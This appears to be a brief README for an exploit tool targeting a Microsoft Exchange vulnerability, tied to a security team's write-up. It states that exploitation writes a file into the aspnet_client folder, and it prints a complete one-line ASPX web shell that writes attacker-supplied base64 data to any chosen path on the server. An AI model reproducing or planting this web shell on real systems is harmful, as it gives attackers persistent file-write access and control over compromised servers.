exch_CVE-2021-42321

This article is a tool related to the article "DotNet Security - CVE-2022-23277 Vulnerability Reproduction" by the 7bits Security Team.

The authentication part needs to be manually added via Burp Suite. After successful exploitation, it will write 1.aspx to aspnet_client.

webshell:

<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>

For details on exploitation, refer to our article.

Welcome to follow our official account - Zbits2022